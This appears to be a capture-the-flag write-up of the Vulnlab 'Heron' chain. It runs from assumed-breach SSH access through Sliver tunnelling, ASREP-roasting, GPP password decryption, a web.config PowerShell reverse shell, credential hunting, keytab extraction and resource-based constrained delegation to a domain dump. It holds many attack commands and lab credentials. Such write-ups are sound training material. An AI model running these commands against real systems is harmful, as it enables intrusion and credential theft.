Heron - Vulnlab
This is the newest chain in the medium difficulty that was created by xct, I’m going into this relatively blind so I hope I’ll be able to relay the info that I know correctly. It involves an assumed breach scenario within a domain-joined Linux machine, requiring a pivot takeover to the domain controller for completion.
I want to thank both xct and otter for their help on this during the initial access portion of the chain, overthinking is a common attribute to have when you start out as a red teamer so it’s important to keep it simple (at least that’s what I learned for initial access during this chain).
Enumeration
Let’s do our usual NMAP scans.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-13 20:48 EDT |
There doesn’t seem to be much for us to work with here. From my first guess, every port within the domain controller .21
is behind a firewall. This means we won’t be able to access it until after we have taken control of the first machine. Furthermore this also means we have no way to identify any users directly from the DC due to Kerberos not being accessible.
We’ll have to start from SSH on the domain-joined Linux machine, as this seems to be the only port available. I also made sure to confirm this as the case with rustscan
, which you can find here. It’s a modernized version of NMAP, and is used for discovering ports at an increased pace.
Luckily enough I gave a quick peek at the Wiki page for the machine and it seems that this is an assumed-breach scenario. Heron Corp has given us credentials from which to use for our pen-test.
pentest:Heron123! |
SOCKS Proxy to the DC
So as explained earlier, the first part of this chain is looking through the domain-joined Linux machine and understanding if there are any ways to elevate to root. Given that the first machine of this chain is through the Linux machine, I’m assuming that once we obtain root access we should have the ability to use the machine account and the /etc/krb5.keytab
file (containing the machine account’s NT hash) to compromise the DC.
However after a bit of file enumeration, you’ll notice that there isn’t really much for you to exploit initially. We don’t have access to any of the users (nor are there any binaries for us to exploit as the pentest
user, however there are two domain users in the /home
directory which are svc-web-accounting
and svc-web-accounting-d
. Since we have these users, we can try to kerberoast/ASREProast to try and decrypt their plaintext passwords. In order to even do this though, we’ll need to interact with the DC.
Since we don’t have access to the DC directly from our local machine, we can use a proxy determine if the jumpbox is able to connect to it due to it being within the scope of the firewall (or at least there seems to be a firewall active). We’ll need to start up a SOCKS proxy on the jumpbox in order to do this, and then execute our commands through the proxy. I usually opt to use proxychains
for this, though you are free to use other tools that accomplish the same result.
I’ll start up a Sliver C2 server on our local Kali machine, I’m mainly doing this because Sliver has a built in SOCKS proxy command that should start a proxy on a given port easily. Firstly, we’ll need to create an implant and curl it to the jumpbox.
sliver > generate --mtls (KALI IP) --os linux --arch amd64 --skip-symbols --save /home/daz/tech/vl/heron/writeup/ --name heron_lin |
sliver > mtls |
Now that we have an implant on the jumpbox, we can start up a SOCKS proxy as explained earlier using socks5 start
. The default port for the proxy should be running on port 1081, though it may be different for others.
sliver (heron_lin) > socks5 start |
Now that we have the proxy running through the implant, we’ll need to edit our proxychains configuration file to reflect the port that the proxy is being served on. This can be found at either /etc/proxychains.conf
or /etc/proxychains4.conf
.
The setting that we’ll need to change is at the bottom of the configuration file, denoted (with changes) from the below.
[ProxyList] |
Now that the configuration is set, you should be able to interact with the proxychains4
(or proxychains
) utility directly from Kali. This should be able to direct all of your tools to be executed within the space of the jumpbox instead of your local machine. Let’s verify that this works by running an NMAP scan for port 445 (SMB) on the DC (just due to this being a default port).
└─$ proxychains4 nmap -sT -p445 10.10.128.117 |
As you can see, it seems that the SMB port is open on the DC meaning that the firewall is indeed active. This means that most (if not, all) of our tooling will need to go through our proxy.
Our next step is to scan the DC to determine what other ports are available on it. I used SMB as a dummy port for the test above (which we know came back as an open port) so we’ll look for ports aside from that.
I’ve found that using NMAP through a SOCKS proxy is generally slow, due to having to go through the tunnel for each specific port. An easy workaround for this is scanning ports directly from jumpbox by dropping a binary to the machine. To prevent having to also recursively drop all of the libraries that NMAP uses, I decided to utilize an alternative being rustscan.
We can upload the binary easily with Sliver’s upload
command.
pentest@frajmp:/tmp$ chmod 777 rustscan |
As you can see, the usual ports for a DC seem to be open (notably LDAP and RDP). However it seems as though a webserver is also open on the DC.
Tunneling to the HTTP Webserver on the DC
Before we interact with LDAP at all, I want to take a look to the at the webserver to see if there is anything for us to exploit initially.
To ensure that we know the domain name of the DC (the jumpbox’s domain name is frajmp
as seen in the SSH login), we can use crackmapexec
to view the information with no credentials.
└─$ proxychains4 crackmapexec smb 10.10.128.117 |
As seen from the above, the DC’s domain name is mucdc.heron.vl
. We’ll add this as well as frajmp.heron.vl
to our /etc/hosts
file to reflect any domain name resolutions that we might need in the future.
We’ll need to use our SOCKS proxy to be able to access the webserver, which we can do by utilizing a separate profile in FoxyProxy. I usually use this solely for Burpsuite, so it’s a nice change of pace to be able to use FoxyProxy for another purpose. Let’s create another profile that uses the SOCKS proxy specifically.
Make sure that the Port
and Type
reflect the proxy accordingly. Once this profile is created, enable it through the FoxyProxy extension and attempt to access the webpage.
As you can see from the image, it seems that this webpage is the static landing page for Heron Corp. While there isn’t much to see here, we do have more users to add to our LDAP enumeration list that we’ll be trying to exploit shortly.
Just to ensure that we aren’t missing any other web applications, let’s try to see if we can access any subdomains running on this port. I ran into some issues running gobuster
through the proxy from our local machine (mainly the webserver crashing), so let’s try to do it from the jumpbox. Fortunately, ffuf
does not use any additional libraries so I wouldn’t expect there to be any issues if we drop the sole binary to the jumpbox.
We’ll also need to drop a subdomain wordlist to use alongside ffuf
, I usually opt to use subdomains-top1million-110000.txt
from SecLists.
sliver (heron_lin) > upload /usr/bin/ffuf |
If you receive a timeout on the Sliver upload command for ffuf
, disregard as it should still upload it to the machine.
If we do run ffuf
to enumerate subdomains, every request will come back with a 200 status code (indicating a false positive). We can avert this by excluding the size of the request that seems to be the same amongst all of the false positives using the -fs
tag.
pentest@frajmp:/tmp$ ./ffuf -w subdomains-top1million-110000.txt -u http://heron.vl -H "Host: FUZZ.heron.vl" -fs 4128 |
We seem to have received a 401
request for accounting
as the subdomain, let’s see if we can browse to it to understand why this specific subdomain is encountering an error.
This subdomain seems to have authentication tied to it, meaning we won’t be able to access it until later on in the attack path.
ASREPRoasting to Crack Passwords
Given the point that we’re at now, we should have a few users that we can test against to determine if any users are vulnerable to kerberoasting or ASREProasting. The user list at this point should look like the following. (Note that I added a few usernames that are regularly on Windows workstations, such as Administrator
and Guest
)
Administrator |
Let’s test for ASREProasting using Impacket’s GetNPUsers
tool. Essentially what this will do is check if the NO_PREAUTH_REQUIRED
is set to the user’s accounting. If this is set to a user account, we can essentially send an ASREQ to the KDC which will return an ASREP ticket that is encrypted with the users plaintext password.
We’ll use the Guest account with no password to run this command.
└─$ proxychains4 impacket-GetNPUsers heron.vl/'Guest' -dc-ip 10.10.128.117 -no-pass -request -usersfile initial_ul.txt |
As seen from above, a valid ASREP ticket was returned for the samuel.davies
user. We can try to crack this using hashcat
along with the specific hash ID (being 18200) as seen in the hashcat wiki.
└─$ hashcat -a 0 -m 18200 samuel.davies.txt /usr/share/wordlists/rockyou.txt |
As seen from the above, we were able to successfully crack the password for samuel.davies
. This opens up our attack path to a range of various options, notably dumping LDAP as my initial thought.
Dumping LDAP
Let’s now dump the domain with Bloodhound and the Python ingestor. We can examine any domain objects and also determine if samuel.davies
has any privileges against other users. This should also increase our user list as you’ll see shortly.
└─$ proxychains4 bloodhound-python -d 'heron.vl' -u 'samuel.davies' -p '(SAMUEL.DAVIES PASSWORD)' -c all -ns 10.10.128.117 --zip |
We can now upload the compressed archive to Bloodhound after starting up the neo4j
and bloodhound
applications respectively.
Upon viewing the domain objects, it does not seem that samuel.davies
has any notable privileges to exploit in our situation. That being said, I did notice a privilege that one of the users on our current user list has.
It seems that the svc-web-accounting
has GenericWrite
privileges over the MUCJMP
workstation. While it seems that this chain only consists of two machines, it seems that there could be other machine accounts that are present within the environment.
I did some more enumeration on the other machine accounts present in LDAP, and it seems that this environment also has ACCOUNTING-PREP
and ACCOUNTING-STAG
.
Moving on from this, I made sure to utilize ldapsearch
through our SOCKS proxy to increase our user list. I’ve made a script to do this for us, as seen below.
└─$ proxychains4 ldapsearch -x -LLL -H ldap://mucdc.heron.vl -D '[email protected]' -b 'DC=heron,DC=vl' -w '(SAMUEL.DAVIES PASSWORD)' | grep userPrincipalName | awk '{print $2}' | cut -d '@' -f 1 > full_ul.txt |
As we can see with the file created from ldapsearch
, our user list has increased to over 20 users.
Katherine.Howard |
We can test for kerberoasting/ASREProasting for these users, to which you will find that svc-web-accounting
is kerberoastable. That being said even if you do get an encrypted Kerberos TGT from them, you are unable to crack it (from just using rockyou).
Enumerating SMB Shares
I decided to move on from LDAP at this point, since it seems that we’ll need to compromise another user through another service if we want to move forward in the attack chain. Since we have credentials for samuel.davies
, we can see if there are any shares that we have read access to.
└─$ proxychains4 smbclient -L 10.10.128.117 -U 'samuel.davies' |
As you can see it seems that there are a lot of shares that are on the DC.
I’ll save us the time due to some prior enumeration that I did into this - it seems that we cannot access accounting$
and it$
, and home$
and transfer$
do not seem to have any files within any of their folders.
CertEnroll
did seem suspicious at first, as there seems to be a few expired ADCS certifications that I initially thought could be reused for exploitation. I eventually deduced this to be a rabbit hole and moved elsewhere.
The interesting part that I found however was in the SYSVOL
share. I don’t normally find much in this share (aside from the logon script exploit that I did for Baby2), however it’s still important to enumerate everything possible in every share that you have access to for this service.
smb: \heron.vl\Policies\{6CC75E8D-586E-4B13-BF80-B91BEF1F221C}\Machine\Preferences\Groups\> ls |
It seems that there is an XML file that we have read access to on the SYSVOL
share. We’ll pull this down to our local machine to see if in contains any relevant information.
<?xml version="1.0" encoding="utf-8"?> |
The file itself seems to be configuring two of the domain user objects, specifically svc-web-accounting
and svc-web-accounting-d
. It seems that there also seems to be an encoded password for the “local administrator” user at the bottom of the file.
I’ve seen this cpassword
term before in other exploits that I’ve done in the past, and I do recall a tool that we can use to crack this password specifically. That tool is gpp-decrypt. I’d tried to interpret the code a bit before doing it to understand what it was exactly doing. It seems that script takes the password and adds base64 padding to it before decoding the entire base64 string based on a specific AES key that is used for the gpp
algorithm.
We can use the Python POC without needing to use the setup script within the repository, as seen below.
└─$ python3 gpp-decrypt/gpp-decrypt.py -f Groups.xml |
This returns a password for the built-in Administrator user (which is not the Administrator of the DC), so we’ll run this against our user list to see if the password corresponds to any users.
Quick note, make sure to use the actual username for svc-web-accounting-d
in the user list, as the LDAP command we used from before takes their display name which is svc-web-accounting-dev
.
└─$ proxychains4 crackmapexec smb 10.10.128.117 -u full_ul.txt -p '(BUILT-IN ADMINISTRATOR PASSWORD)' |
As you can see, this should return a valid username/password combination for svc-web-accounting-d
.
Exploiting the Accounting App
Note that at this point I took a break in between creating this writeup, so the IP addresses will change. The updated addresses for mucdc.heron.vl
and frajmp.heron.vl
are 10.10.220.53
and 10.10.220.54
.
Since we have valid credentials for svc-web-accounting-d
, I decided to see if we had access to the accounting$
SMB share that we saw previously.
└─$ proxychains4 smbclient \\\\10.10.220.53\\accounting$ -U 'svc-web-accounting-d' |
It seems that we successfully were able to gain access to the accounting$
share, and there seem to be a lot within the contents of this share.
There seems to be a consistent notice of this share having contents related to an accounting app, based on the file names. My guess to this is that this could potentially be the configuration directory for the accounting subdomain we found earlier.
Given that we have access to all of these files, I’m assuming that these will be valid credentials to the simple authentication that this website requires.
Entering in the credentials for svc-web-accounting-d
seems to land us at the respective accounting application. This cements my theory that the SMB share seems to be linked to the backend of this application.
Given that we have access to the files that build up the accounting app, I’m assuming that we should have RCE if we exploit this appropriately. Let’s take a look further into this share to see if there are any files to exploit.
After doing a bit of research into this application (finding that this is an IIS application running ASP.NET), the actual exploitation consists of the web.config
file that is located on the root directory of this SMB share.
<?xml version="1.0" encoding="utf-8"?> |
This file specifically seems to be related to the runtime arguments that actually define how this application is initialized. As we can see, the aspNetCore
module is created by executing AccountingApp.dll
, which I’m assuming is then chained to execute all of the other libraries within this directory.
After doing some research, I found an RCE exploit that we can utilize that uses aspNetCore
module that is already present in the configuration file. The resource I used for RCE exploit can be found here, all credit goes to Jeroen Verhaeghe.
If we alter the aspNetCore
module to instead use PowerShell as its process path, we can pass in PowerShell arguments into the arguments section within the module. In theory, this should render the website unusable due to the application requiring the serialization of AccountingApp.dll
. That being said, it should execute our payload before receiving this error. This was essentially the only way to achieve RCE that I found, I am open to understanding other ways to achieve this without rendering the web application unusable.
So with that being said let’s replace the module initialization and the actual module itself, I’ve made the necessary changes to the file as seen below (Note that the payload that I’m using is from revshells).
<?xml version="1.0" encoding="utf-8"?> |
The POWERSHELL BASE64 PAYLOAD
that I used was the PowerShell #3 Base64 payload from revshells.
We’ll start up our listener using nc -lvnp 9002
and replace the web.config
file that is currently in the SMB share with the new changes. You can do so by just removing the current config and putting your new config in the share.
smb: \> rm web.config |
Let’s now browse to the path that we specified to execute the PowerShell payload, which is http://accounting.heron.vl/execute.now
.
As you can see from the netcat payload, we’ll receive a callback as svc-web-accounting
on the DC.
└─$ nc -lvnp 9002 |
Credential Hunting as svc-web-accounting
The interesting part that I found about this is that fact that there is a timeout on the web application that will essentially crash our current reverse shell after about a minute. This isn’t very good practice in the real world, however it’s essentially all that we can do at this with the only POC that I could think of. Again, very open to any different solutions that keep the reverse shell continuously up.
Luckily enough we can continue to get a reverse shell if we reopen our netcat listener and refresh the execute.now
page. Had svc-web-accounting
not been kerberoastable and their password WAS crackable, we could simply poison a request to a Responder endpoint and crack their NetNTLMv2 hash.
Luckily enough, we won’t need this shell for very long. At this point, I enumerated the filesystem in between the intervals of the web application crashing. The C:\
drive seems to be the parent directory of all of the SMB shares.
Directory: C:\ |
You can also see that the first flag is within the C:\
drive, meaning we have completed a 1/3 of this chain.
To save some time, I spent a decent amount of attempts looking through all of the folders recursively to see if any DPAPI credentials or really just any credentials were cached in any files. After about an hour of credential hunting, I came across a file within C:\Windows\scripts\ssh.ps1
.
PS C:\Windows\scripts> cat ssh.ps1 |
This seems to contain the SSH password for the _local
user. An admin user was probably trying to establish an SSH session to the frajmp
jumpbox as this user using PuTTY.
Now that we have these credentials, we can try to login as this user on the jumpbox. We also won’t need our reverse shell as svc-web-accounting
any longer.
Root Access to FRAJMP
Now that we have access as this user, we’ll login in our other session as pentest
.
pentest@frajmp:/tmp$ su _local |
Testing our root access with the password that we currently have indicates to me that this user has SUDO privileges to the entire filesystem.
_local@frajmp:/tmp$ sudo -l |
Since we have that, we can simply log in as the root user using sudo su
.
_local@frajmp:/tmp$ sudo su |
The second flag for this machine is within the root users home directory in /root
. There isn’t much to see aside from that, I did some file enumeration and did not come back with much.
I’ll execute our Sliver implant just to ensure that we have access to the root user through our C2 server. This is just in case we need to tunnel any tools to the DC with the highest privilege on FRAJMP
. –> ./heron_lin &
Pivoting to the DC
Now that we have completely compromised the FRAJMP
jumpbox, we can extract a very important piece of information on domain-joined Linux machines that I learned to exploit during Hybrid.
There’s a file that exists on domain-joined Linux machines called krb5.keytab
, which contains secrets to the machine account. If this file is decrypted, we can view the machine accounts NT hash. This machine account has the potential to have privileges that can lead us to the DC.
We can use a tool called KeyTabExtract for this. The Python script associated with this allows us to match key values with their encryption types, varying from different types of AES encryption algorithms. Once decrypted with the keytab file (you can download this to your local machine using Sliver), you should receive an output similar to the below.
└─$ python3 KeyTabExtract/keytabextract.py krb5.keytab |
Now that we have this machine account we would be able to use it in a variety of different domain escalation tactics if FRAJMP$
has any privileges over any other domain objects.
That being said, we actually are not required to do this. I did some testing with crackmapexec
to see if their was any password reusage on the _local
user credentials that we have and came back with a successful result to a new user.
└─$ proxychains4 crackmapexec smb 10.10.220.53 -u full_ul.txt -p '(_local PASSWORD)' --continue-on-success |
As you can see, the Julian.Pratt
user seems to have the same password as the _local
user on the jumpbox. We can assume that Julian.Pratt
(with him being the head of IT) was attempting to try and set up an SSH connection to FRAJMP
using PuTTY.
Since we have access to this user now with his credentials, we can login to his home directory that is being hosted on SMB.
smb: \Julian.Pratt\> ls |
It seems that this contains a multitude of lnk
files that we can pull from this share. We’ll use mget *
to read these on our local machine.
frajmp.lnk
seems to be partially unreadable, however it contains the plaintext password for _local
and Julian.Pratt
that we already have. Microsoft Edge.lnk
also does not seem to have anything of use to us, containing some directory calls to the Edge application.
The part of use to us seems to be within mucjmp.lnk
, which seems to contain the plaintext password for adm_prju
amongst some unreadable text.
└─$ cat mucjmp.lnk |
RBCD to MUCDC
If we look at adm_prju
‘s domain node in Bloodhound, we can see that they possess an interesting outbound access control.
It seems that since adm_prju
is within the ADMINS_T1
group, they have the WriteAccountRestrictions
privilege over the domain controller.
Having WriteAccountRestrictions
means that adm_prju
has write access to all of the attributes on the machine, notably msDS-AllowedToActOnBehalfOfOtherIdentity
. If we have the ability to modify this attribute, this means we can abuse resource-based constrained delegation.
For a small note on what resource-based constrained delegation is, it essentially allows us to request a service ticket for a specified service name to which will be impersonated by a user of our selection. We can then import this service ticket to use for either authentication or credential dumping, depending on the user we impersonate.
The process for this is relatively simple, as Bloodhound outlines our attach flow in their help page for this specific attack. Note that this requires the user to have control of a machine that has an SPN set, which we currently do since we have control over FRAJMP
and it’s NT hash (meaning we’ll just need to PTH with the FRAJMP$
NT hash in our commands instead of a password).
So to start let’s ensure that FRAJMP$
can delegate on behalf of MUCDC$
.
└─$ proxychains4 impacket-rbcd -delegate-from 'FRAJMP$' -delegate-to 'MUCDC$' -action 'write' 'heron.vl/adm_prju:(ADM_PRJU PASSWORD)' |
Now that the jumpbox can delegate on behalf of the domain controller, we can request the TGT with Impacket’s getST
tool. This will utilize both S4U2Self
and S4U2Proxy
to impersonate the specified user and obtain a valid service ticket for that user.
I found that the Administrator account is disabled and was replaced with _admin
, so we’ll request for that user instead. You could also request to impersonate MUCDC$
, as we’ll be able to dump credentials with both of those accounts.
└─$ proxychains4 impacket-getST -spn 'cifs/mucdc.heron.vl' -impersonate '_admin' 'heron.vl/FRAJMP$' -hashes :(FRAJMP NT HASH) |
The ticket should be saved in an appropriate file with a file name specified at the bottom of the command.
Let’s now set our Kerberos authentication global variable to be directed to this ticket. Note that if you impersonated the MUCDC$
machine account, you may need to rename the ticket so that the $
special character doesn’t conflict with the global variable setting.
└─$ export KRB5CCNAME=_admin@[email protected] |
Now we can attempt to dump all of the secrets through our SOCKS proxy using Impacket’s secretsdump
command with our Kerberos ticket. The output may be slow since it has to tunnel through the proxy so be sure to give it some time.
└─$ proxychains4 impacket-secretsdump -k mucdc.heron.vl |
You’ll receive more of an output, as Impacket will dump every password hash for domain user and machine account that is cached on the DC. Since we were able to dump the _admin
hash, we should be able to simply authenticate to the machine and steal the root flag.
The only stipulate is that WinRM is not enabled on this machine, and attempting to authenticate to RDP did not work when I tested it initially. We can still simply login to the C$
SMB share with our admin hash and view the root flag. You can also use smbexec
with the cached Kerberos ticket that we have to gain code execution to the machine.
└─$ proxychains4 smbclient \\\\10.10.220.53\\C$ -U '_admin' --pw-nt-hash (_ADMIN NT HASH) |
As you can see, now that we were able to read the root flag, that means we have compromised this machine!
Conclusion
Big thanks to xct for the development of this machine, it really helped with strengthening domain-joined Linux attacks. I also have learned to remember to keep things simple, and always to make sure to check every last corner of the filesystems that you have access to.
Resources
https://github.com/BishopFox/sliver
https://hashcat.net/wiki/doku.php?id=example_hashes
https://github.com/dirkjanm/BloodHound.py
https://github.com/t0thkr1s/gpp-decrypt
https://www.n00py.io/2020/12/alternative-ways-to-pass-the-hash-pth/
https://github.com/sosdave/KeyTabExtract
https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces
https://medium.com/@jeroenverhaeghe/rce-from-web-config-461a5eab8ce9